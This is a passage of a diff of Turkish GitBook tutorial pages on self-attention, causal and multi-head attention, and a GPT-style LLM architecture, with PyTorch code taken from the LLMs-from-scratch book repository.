|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (8) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
* **"sun" için Ağırlıklı Gömme**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (9) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ağırlıklı gömmeleri toplama:
|
||||
|
||||
`bağlam vektörü=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
||||
|
||||
**Bu bağlam vektörü, "shiny" kelimesi için zenginleştirilmiş gömme temsilini, cümledeki tüm kelimelerden gelen bilgileri içerecek şekilde temsil eder.**
|
||||
|
||||
### Sürecin Özeti
|
||||
|
||||
1. **Dikkat Puanlarını Hesapla**: Hedef kelimenin gömmesi ile dizideki tüm kelimelerin gömmeleri arasındaki noktasal çarpımı kullanın.
|
||||
2. **Dikkat Ağırlıklarını Elde Etmek için Puanları Normalleştir**: Dikkat puanlarına softmax fonksiyonunu uygulayarak toplamı 1 olan ağırlıklar elde edin.
|
||||
3. **Bağlam Vektörünü Hesapla**: Her kelimenin gömmesini dikkat ağırlığı ile çarpın ve sonuçları toplayın.
|
||||
|
||||
## Eğitilebilir Ağırlıklarla Kendine Dikkat
|
||||
|
||||
Pratikte, kendine dikkat mekanizmaları **eğitilebilir ağırlıklar** kullanarak sorgular, anahtarlar ve değerler için en iyi temsilleri öğrenir. Bu, üç ağırlık matrisinin tanıtılmasını içerir:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (10) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
Sorgu, daha önce olduğu gibi kullanılacak veridir, anahtarlar ve değerler matrisleri ise sadece rastgele eğitilebilir matrislerdir.
|
||||
|
||||
#### Adım 1: Sorguları, Anahtarları ve Değerleri Hesapla
|
||||
|
||||
Her token, tanımlanan matrislerle boyut değerlerini çarparak kendi sorgu, anahtar ve değer matrisine sahip olacaktır:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
|
||||
|
||||
Bu matrisler, orijinal gömmeleri dikkat hesaplamaları için uygun yeni bir alana dönüştürür.
|
||||
|
||||
**Örnek**
|
||||
|
||||
Varsayalım ki:
|
||||
|
||||
* Giriş boyutu `din=3` (gömme boyutu)
|
||||
* Çıkış boyutu `dout=2` (sorgular, anahtarlar ve değerler için istenen boyut)
|
||||
|
||||
Ağırlık matrislerini başlatın:
|
||||
```python
|
||||
import torch.nn as nn
|
||||
|
||||
d_in = 3
|
||||
d_out = 2
|
||||
|
||||
W_query = nn.Parameter(torch.rand(d_in, d_out))
|
||||
W_key = nn.Parameter(torch.rand(d_in, d_out))
|
||||
W_value = nn.Parameter(torch.rand(d_in, d_out))
|
||||
```
|
||||
Sorguları, anahtarları ve değerleri hesaplayın:
|
||||
```python
|
||||
queries = torch.matmul(inputs, W_query)
|
||||
keys = torch.matmul(inputs, W_key)
|
||||
values = torch.matmul(inputs, W_value)
|
||||
```
|
||||
#### Adım 2: Ölçeklenmiş Nokta-Ürün Dikkatini Hesapla
|
||||
|
||||
**Dikkat Puanlarını Hesapla**
|
||||
|
||||
Önceki örneğe benzer, ancak bu sefer, token'ların boyutlarının değerlerini kullanmak yerine, token'ın anahtar matrisini kullanıyoruz (zaten boyutlar kullanılarak hesaplandı):. Yani, her sorgu `qi` ve anahtar `kj` için:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Puanları Ölçekle**
|
||||
|
||||
Nokta çarpımlarının çok büyük olmasını önlemek için, bunları anahtar boyutunun karekökü `dk` ile ölçeklendir:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="success" %}
|
||||
Puan, boyutların karekökü ile bölünür çünkü nokta çarpımları çok büyük hale gelebilir ve bu, onları düzenlemeye yardımcı olur.
|
||||
{% endhint %}
|
||||
|
||||
**Dikkat Ağırlıklarını Elde Etmek İçin Softmax Uygula:** İlk örnekte olduğu gibi, tüm değerleri normalize et, böylece toplamları 1 olur. 
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
#### Adım 3: Bağlam Vektörlerini Hesapla
|
||||
|
||||
İlk örnekte olduğu gibi, tüm değer matrislerini topla ve her birini dikkat ağırlığı ile çarp:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (15).png" alt="" width="328"><figcaption></figcaption></figure>
|
||||
|
||||
### Kod Örneği
|
||||
|
||||
[https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) adresinden bir örnek alarak, bahsettiğimiz kendine dikkat işlevselliğini uygulayan bu sınıfı kontrol edebilirsiniz:
|
||||
```python
|
||||
import torch
|
||||
|
||||
inputs = torch.tensor(
|
||||
[[0.43, 0.15, 0.89], # Your (x^1)
|
||||
[0.55, 0.87, 0.66], # journey (x^2)
|
||||
[0.57, 0.85, 0.64], # starts (x^3)
|
||||
[0.22, 0.58, 0.33], # with (x^4)
|
||||
[0.77, 0.25, 0.10], # one (x^5)
|
||||
[0.05, 0.80, 0.55]] # step (x^6)
|
||||
)
|
||||
|
||||
import torch.nn as nn
|
||||
class SelfAttention_v2(nn.Module):
|
||||
|
||||
def __init__(self, d_in, d_out, qkv_bias=False):
|
||||
super().__init__()
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
|
||||
def forward(self, x):
|
||||
keys = self.W_key(x)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
attn_scores = queries @ keys.T
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
|
||||
context_vec = attn_weights @ values
|
||||
return context_vec
|
||||
|
||||
d_in=3
|
||||
d_out=2
|
||||
torch.manual_seed(789)
|
||||
sa_v2 = SelfAttention_v2(d_in, d_out)
|
||||
print(sa_v2(inputs))
|
||||
```
|
||||
{% hint style="info" %}
|
||||
Matrisleri rastgele değerlerle başlatmak yerine, tüm ağırlıkları eğitilecek parametreler olarak işaretlemek için `nn.Linear` kullanıldığını unutmayın.
|
||||
{% endhint %}
|
||||
|
||||
## Nedensel Dikkat: Gelecek Kelimeleri Gizleme
|
||||
|
||||
LLM'ler için modelin, **bir sonraki token'ı tahmin etmek** amacıyla mevcut konumdan önceki token'ları dikkate almasını istiyoruz. **Nedensel dikkat**, aynı zamanda **maskelenmiş dikkat** olarak da bilinir, dikkat mekanizmasını değiştirerek gelecekteki token'lara erişimi engelleyerek bunu başarır.
|
||||
|
||||
### Nedensel Dikkat Maskesi Uygulama
|
||||
|
||||
Nedensel dikkati uygulamak için, dikkat puanlarına **softmax işleminden önce** bir maske uygularız, böylece kalanlar hala 1'e toplamış olur. Bu maske, gelecekteki token'ların dikkat puanlarını negatif sonsuzluğa ayarlayarak, softmax'tan sonra dikkat ağırlıklarının sıfır olmasını sağlar.
|
||||
|
||||
**Adımlar**
|
||||
|
||||
1. **Dikkat Puanlarını Hesapla**: Önceki gibi.
|
||||
2. **Maske Uygula**: Diyagonalın üstünde negatif sonsuzlukla doldurulmuş bir üst üçgen matris kullanın.
|
||||
|
||||
```python
|
||||
mask = torch.triu(torch.ones(seq_len, seq_len), diagonal=1) * float('-inf')
|
||||
masked_scores = attention_scores + mask
|
||||
```
|
||||
3. **Softmax Uygula**: Maskelenmiş puanları kullanarak dikkat ağırlıklarını hesaplayın.
|
||||
|
||||
```python
|
||||
attention_weights = torch.softmax(masked_scores, dim=-1)
|
||||
```
|
||||
|
||||
### Ek Dikkat Ağırlıklarını Dropout ile Maskeleme
|
||||
|
||||
**Aşırı uyum sağlamayı önlemek** için, softmax işleminden sonra dikkat ağırlıklarına **dropout** uygulayabiliriz. Dropout, eğitim sırasında **dikkat ağırlıklarının bazılarını rastgele sıfırlar**.
|
||||
```python
|
||||
dropout = nn.Dropout(p=0.5)
|
||||
attention_weights = dropout(attention_weights)
|
||||
```
|
||||
Bir normal dropout yaklaşık %10-20'dir.
|
||||
|
||||
### Code Example
|
||||
|
||||
Code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb):
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
|
||||
inputs = torch.tensor(
|
||||
[[0.43, 0.15, 0.89], # Your (x^1)
|
||||
[0.55, 0.87, 0.66], # journey (x^2)
|
||||
[0.57, 0.85, 0.64], # starts (x^3)
|
||||
[0.22, 0.58, 0.33], # with (x^4)
|
||||
[0.77, 0.25, 0.10], # one (x^5)
|
||||
[0.05, 0.80, 0.55]] # step (x^6)
|
||||
)
|
||||
|
||||
batch = torch.stack((inputs, inputs), dim=0)
|
||||
print(batch.shape)
|
||||
|
||||
class CausalAttention(nn.Module):
|
||||
|
||||
def __init__(self, d_in, d_out, context_length,
|
||||
dropout, qkv_bias=False):
|
||||
super().__init__()
|
||||
self.d_out = d_out
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1)) # New
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
# b is the num of batches
|
||||
# num_tokens is the number of tokens per batch
|
||||
# d_in is the dimensions er token
|
||||
|
||||
keys = self.W_key(x) # This generates the keys of the tokens
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
attn_scores = queries @ keys.transpose(1, 2) # Moves the third dimension to the second one and the second one to the third one to be able to multiply
|
||||
attn_scores.masked_fill_( # New, _ ops are in-place
|
||||
self.mask.bool()[:num_tokens, :num_tokens], -torch.inf) # `:num_tokens` to account for cases where the number of tokens in the batch is smaller than the supported context_size
|
||||
attn_weights = torch.softmax(
|
||||
attn_scores / keys.shape[-1]**0.5, dim=-1
|
||||
)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
context_vec = attn_weights @ values
|
||||
return context_vec
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
context_length = batch.shape[1]
|
||||
d_in = 3
|
||||
d_out = 2
|
||||
ca = CausalAttention(d_in, d_out, context_length, 0.0)
|
||||
|
||||
context_vecs = ca(batch)
|
||||
|
||||
print(context_vecs)
|
||||
print("context_vecs.shape:", context_vecs.shape)
|
||||
```
|
||||
## Tek Başlı Dikkati Çok Başlı Dikkate Genişletme
|
||||
|
||||
**Çok başlı dikkat**, pratikte **kendi ağırlıkları** olan **birden fazla örneğin** kendine dikkat fonksiyonunu çalıştırmasından oluşur, böylece farklı son vektörler hesaplanır.
|
||||
|
||||
### Kod Örneği
|
||||
|
||||
Önceki kodu yeniden kullanmak ve sadece onu birkaç kez çalıştıran bir sarmalayıcı eklemek mümkün olabilir, ancak bu, tüm başları aynı anda işleyen [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) adresinden daha optimize edilmiş bir versiyondur (pahalı döngü sayısını azaltır). Kodda görüldüğü gibi, her bir token'ın boyutları baş sayısına göre farklı boyutlara bölünmüştür. Bu şekilde, eğer token 8 boyuta sahipse ve 3 baş kullanmak istiyorsak, boyutlar 4 boyuttan oluşan 2 diziye bölünecek ve her baş bunlardan birini kullanacaktır:
|
||||
```python
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
super().__init__()
|
||||
assert (d_out % num_heads == 0), \
|
||||
"d_out must be divisible by num_heads"
|
||||
|
||||
self.d_out = d_out
|
||||
self.num_heads = num_heads
|
||||
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
|
||||
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer(
|
||||
"mask",
|
||||
torch.triu(torch.ones(context_length, context_length),
|
||||
diagonal=1)
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
# b is the num of batches
|
||||
# num_tokens is the number of tokens per batch
|
||||
# d_in is the dimensions er token
|
||||
|
||||
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
# We implicitly split the matrix by adding a `num_heads` dimension
|
||||
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
|
||||
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
|
||||
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
|
||||
keys = keys.transpose(1, 2)
|
||||
queries = queries.transpose(1, 2)
|
||||
values = values.transpose(1, 2)
|
||||
|
||||
# Compute scaled dot-product attention (aka self-attention) with a causal mask
|
||||
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
|
||||
|
||||
# Original mask truncated to the number of tokens and converted to boolean
|
||||
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
|
||||
|
||||
# Use the mask to fill attention scores
|
||||
attn_scores.masked_fill_(mask_bool, -torch.inf)
|
||||
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
# Shape: (b, num_tokens, num_heads, head_dim)
|
||||
context_vec = (attn_weights @ values).transpose(1, 2)
|
||||
|
||||
# Combine heads, where self.d_out = self.num_heads * self.head_dim
|
||||
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
|
||||
context_vec = self.out_proj(context_vec) # optional projection
|
||||
|
||||
return context_vec
|
||||
|
||||
torch.manual_seed(123)
|
||||
|
||||
batch_size, context_length, d_in = batch.shape
|
||||
d_out = 2
|
||||
mha = MultiHeadAttention(d_in, d_out, context_length, 0.0, num_heads=2)
|
||||
|
||||
context_vecs = mha(batch)
|
||||
|
||||
print(context_vecs)
|
||||
print("context_vecs.shape:", context_vecs.shape)
|
||||
|
||||
```
|
||||
Başka bir kompakt ve verimli uygulama için PyTorch'taki [`torch.nn.MultiheadAttention`](https://pytorch.org/docs/stable/generated/torch.nn.MultiheadAttention.html) sınıfını kullanabilirsiniz.
|
||||
|
||||
{% hint style="success" %}
|
||||
ChatGPT'nin, her başın tüm token'ların tüm boyutlarını kontrol etmesi yerine token'ların boyutlarını başlar arasında bölmenin neden daha iyi olduğu hakkında kısa yanıtı:
|
||||
|
||||
Her başın tüm gömme boyutlarını işlemesine izin vermek, her başın tam bilgiye erişimi olacağı için avantajlı gibi görünse de, standart uygulama **gömme boyutlarını başlar arasında bölmektir**. Bu yaklaşım, hesaplama verimliliği ile model performansını dengeler ve her başın çeşitli temsilleri öğrenmesini teşvik eder. Bu nedenle, gömme boyutlarını bölmek, her başın tüm boyutları kontrol etmesinden genellikle tercih edilir.
|
||||
{% endhint %}
|
||||
|
||||
## References
|
||||
|
||||
* [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
667
todo/llm-training-data-preparation/5.-llm-architecture.md
Normal file
|
@ -0,0 +1,667 @@
|
|||
# 5. LLM Mimarisi
|
||||
|
||||
## LLM Mimarisi
|
||||
|
||||
{% hint style="success" %}
|
||||
Bu beşinci aşamanın amacı çok basit: **Tam LLM mimarisini geliştirmek**. Her şeyi bir araya getirin, tüm katmanları uygulayın ve metin oluşturmak veya metni ID'lere ve geriye dönüştürmek için tüm işlevleri oluşturun.
|
||||
|
||||
Bu mimari, hem eğitim hem de eğitimden sonra metin tahmini için kullanılacaktır.
|
||||
{% endhint %}
|
||||
|
||||
LLM mimarisi örneği [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01\_main-chapter-code/ch04.ipynb):
|
||||
|
||||
Yüksek seviyeli bir temsil aşağıda gözlemlenebilir:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (3) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31">https://camo.githubusercontent.com/6c8c392f72d5b9e86c94aeb9470beab435b888d24135926f1746eb88e0cc18fb/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830345f636f6d707265737365642f31332e776562703f31</a></p></figcaption></figure>
|
||||
|
||||
1. **Girdi (Tokenize Edilmiş Metin)**: Süreç, sayısal temsillere dönüştürülen tokenize edilmiş metinle başlar.
|
||||
2. **Token Gömme ve Pozisyon Gömme Katmanı**: Tokenize edilmiş metin, kelime sırasını anlamak için kritik olan bir dizideki token'ların konumunu yakalayan bir **token gömme** katmanından ve bir **pozisyon gömme katmanından** geçirilir.
|
||||
3. **Transformer Blokları**: Model, her biri birden fazla katmana sahip **12 transformer bloğu** içerir. Bu bloklar aşağıdaki diziyi tekrarlar:
|
||||
* **Masked Multi-Head Attention**: Modelin girdi metninin farklı kısımlarına aynı anda odaklanmasına olanak tanır.
|
||||
* **Katman Normalizasyonu**: Eğitimi stabilize etmek ve geliştirmek için bir normalizasyon adımı.
|
||||
* **Feed Forward Katmanı**: Dikkat katmanından gelen bilgileri işlemek ve bir sonraki token hakkında tahminler yapmakla sorumludur.
|
||||
* **Dropout Katmanları**: Bu katmanlar, eğitim sırasında birimlerin rastgele düşürülmesiyle aşırı uyumu önler.
|
||||
4. **Son Çıktı Katmanı**: Model, **50,257** kelime dağarcığı boyutunu temsil eden **4x50,257 boyutunda bir tensör** üretir. Bu tensördeki her bir satır, modelin dizideki bir sonraki kelimeyi tahmin etmek için kullandığı bir vektöre karşılık gelir.
|
||||
5. **Amaç**: Amaç, bu gömmeleri alıp tekrar metne dönüştürmektir. Özellikle, çıktının son satırı, bu diyagramda "ileri" olarak temsil edilen bir sonraki kelimeyi oluşturmak için kullanılır.
|
||||
|
||||
### Kod temsili
|
||||
```python
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
import tiktoken
|
||||
|
||||
class GELU(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
def forward(self, x):
|
||||
return 0.5 * x * (1 + torch.tanh(
|
||||
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
|
||||
class FeedForward(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.layers = nn.Sequential(
|
||||
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
|
||||
GELU(),
|
||||
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
return self.layers(x)
|
||||
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
super().__init__()
|
||||
assert d_out % num_heads == 0, "d_out must be divisible by num_heads"
|
||||
|
||||
self.d_out = d_out
|
||||
self.num_heads = num_heads
|
||||
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
|
||||
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
|
||||
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
# We implicitly split the matrix by adding a `num_heads` dimension
|
||||
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
|
||||
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
|
||||
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
|
||||
keys = keys.transpose(1, 2)
|
||||
queries = queries.transpose(1, 2)
|
||||
values = values.transpose(1, 2)
|
||||
|
||||
# Compute scaled dot-product attention (aka self-attention) with a causal mask
|
||||
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
|
||||
|
||||
# Original mask truncated to the number of tokens and converted to boolean
|
||||
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
|
||||
|
||||
# Use the mask to fill attention scores
|
||||
attn_scores.masked_fill_(mask_bool, -torch.inf)
|
||||
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
# Shape: (b, num_tokens, num_heads, head_dim)
|
||||
context_vec = (attn_weights @ values).transpose(1, 2)
|
||||
|
||||
# Combine heads, where self.d_out = self.num_heads * self.head_dim
|
||||
context_vec = context_vec.contiguous().view(b, num_tokens, self.d_out)
|
||||
context_vec = self.out_proj(context_vec) # optional projection
|
||||
|
||||
return context_vec
|
||||
|
||||
class LayerNorm(nn.Module):
|
||||
def __init__(self, emb_dim):
|
||||
super().__init__()
|
||||
self.eps = 1e-5
|
||||
self.scale = nn.Parameter(torch.ones(emb_dim))
|
||||
self.shift = nn.Parameter(torch.zeros(emb_dim))
|
||||
|
||||
def forward(self, x):
|
||||
mean = x.mean(dim=-1, keepdim=True)
|
||||
var = x.var(dim=-1, keepdim=True, unbiased=False)
|
||||
norm_x = (x - mean) / torch.sqrt(var + self.eps)
|
||||
return self.scale * norm_x + self.shift
|
||||
|
||||
class TransformerBlock(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.att = MultiHeadAttention(
|
||||
d_in=cfg["emb_dim"],
|
||||
d_out=cfg["emb_dim"],
|
||||
context_length=cfg["context_length"],
|
||||
num_heads=cfg["n_heads"],
|
||||
dropout=cfg["drop_rate"],
|
||||
qkv_bias=cfg["qkv_bias"])
|
||||
self.ff = FeedForward(cfg)
|
||||
self.norm1 = LayerNorm(cfg["emb_dim"])
|
||||
self.norm2 = LayerNorm(cfg["emb_dim"])
|
||||
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
def forward(self, x):
|
||||
# Shortcut connection for attention block
|
||||
shortcut = x
|
||||
x = self.norm1(x)
|
||||
x = self.att(x) # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
# Shortcut connection for feed forward block
|
||||
shortcut = x
|
||||
x = self.norm2(x)
|
||||
x = self.ff(x)
|
||||
x = self.drop_shortcut(x)
|
||||
x = x + shortcut # Add the original input back
|
||||
|
||||
return x
|
||||
|
||||
|
||||
class GPTModel(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
|
||||
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
|
||||
self.drop_emb = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
self.trf_blocks = nn.Sequential(
|
||||
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])])
|
||||
|
||||
self.final_norm = LayerNorm(cfg["emb_dim"])
|
||||
self.out_head = nn.Linear(
|
||||
cfg["emb_dim"], cfg["vocab_size"], bias=False
|
||||
)
|
||||
|
||||
def forward(self, in_idx):
|
||||
batch_size, seq_len = in_idx.shape
|
||||
tok_embeds = self.tok_emb(in_idx)
|
||||
pos_embeds = self.pos_emb(torch.arange(seq_len, device=in_idx.device))
|
||||
x = tok_embeds + pos_embeds # Shape [batch_size, num_tokens, emb_size]
|
||||
x = self.drop_emb(x)
|
||||
x = self.trf_blocks(x)
|
||||
x = self.final_norm(x)
|
||||
logits = self.out_head(x)
|
||||
return logits
|
||||
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
"context_length": 1024, # Context length
|
||||
"emb_dim": 768, # Embedding dimension
|
||||
"n_heads": 12, # Number of attention heads
|
||||
"n_layers": 12, # Number of layers
|
||||
"drop_rate": 0.1, # Dropout rate
|
||||
"qkv_bias": False # Query-Key-Value bias
|
||||
}
|
||||
|
||||
torch.manual_seed(123)
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
out = model(batch)
|
||||
print("Input batch:\n", batch)
|
||||
print("\nOutput shape:", out.shape)
|
||||
print(out)
|
||||
```
|
||||
### **GELU Aktivasyon Fonksiyonu**
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GELU(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
def forward(self, x):
|
||||
return 0.5 * x * (1 + torch.tanh(
|
||||
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
```
|
||||
#### **Amaç ve İşlevsellik**
|
||||
|
||||
* **GELU (Gaussian Error Linear Unit):** Modelle doğrusal olmayanlık getiren bir aktivasyon fonksiyonu.
|
||||
* **Düzgün Aktivasyon:** Negatif girdileri sıfıra indiren ReLU'nun aksine, GELU negatif girdiler için küçük, sıfırdan farklı değerler alarak girdileri çıktılara düzgün bir şekilde eşler.
|
||||
* **Matematiksel Tanım:**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="info" %}
|
||||
Bu fonksiyonun FeedForward katmanındaki doğrusal katmanlardan sonra kullanılmasının amacı, doğrusal verileri doğrusal olmayan hale getirerek modelin karmaşık, doğrusal olmayan ilişkileri öğrenmesine izin vermektir.
|
||||
{% endhint %}
|
||||
|
||||
### **FeedForward Sinir Ağı**
|
||||
|
||||
_Matrislerin şekillerini daha iyi anlamak için yorum olarak şekiller eklenmiştir:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class FeedForward(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.layers = nn.Sequential(
|
||||
nn.Linear(cfg["emb_dim"], 4 * cfg["emb_dim"]),
|
||||
GELU(),
|
||||
nn.Linear(4 * cfg["emb_dim"], cfg["emb_dim"]),
|
||||
)
|
||||
|
||||
def forward(self, x):
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.layers[0](x)# x shape: (batch_size, seq_len, 4 * emb_dim)
|
||||
x = self.layers[1](x) # x shape remains: (batch_size, seq_len, 4 * emb_dim)
|
||||
x = self.layers[2](x) # x shape: (batch_size, seq_len, emb_dim)
|
||||
return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
```
|
||||
#### **Amaç ve İşlevsellik**
|
||||
|
||||
* **Pozisyon Bazlı FeedForward Ağı:** Her pozisyona ayrı ve benzer şekilde iki katmanlı tam bağlı bir ağı uygular.
|
||||
* **Katman Detayları:**
|
||||
* **İlk Lineer Katman:** Boyutları `emb_dim`'den `4 * emb_dim`'ye genişletir.
|
||||
* **GELU Aktivasyonu:** Doğrusal olmayanlık uygular.
|
||||
* **İkinci Lineer Katman:** Boyutları tekrar `emb_dim`'ye düşürür.
|
||||
|
||||
{% hint style="info" %}
|
||||
Gördüğünüz gibi, Feed Forward ağı 3 katman kullanır. İlk katman, boyutları 4 ile çarpacak bir lineer katmandır ve bu, model içinde eğitilecek lineer ağırlıklar (parametreler) kullanır. Ardından, bu boyutların hepsinde daha zengin temsilleri yakalamak için doğrusal olmayan varyasyonlar uygulamak üzere GELU fonksiyonu kullanılır ve nihayetinde orijinal boyutlara geri dönmek için başka bir lineer katman kullanılır.
|
||||
{% endhint %}
|
||||
|
||||
### **Çoklu Başlı Dikkat Mekanizması**
|
||||
|
||||
Bu daha önceki bir bölümde açıklandı.
|
||||
|
||||
#### **Amaç ve İşlevsellik**
|
||||
|
||||
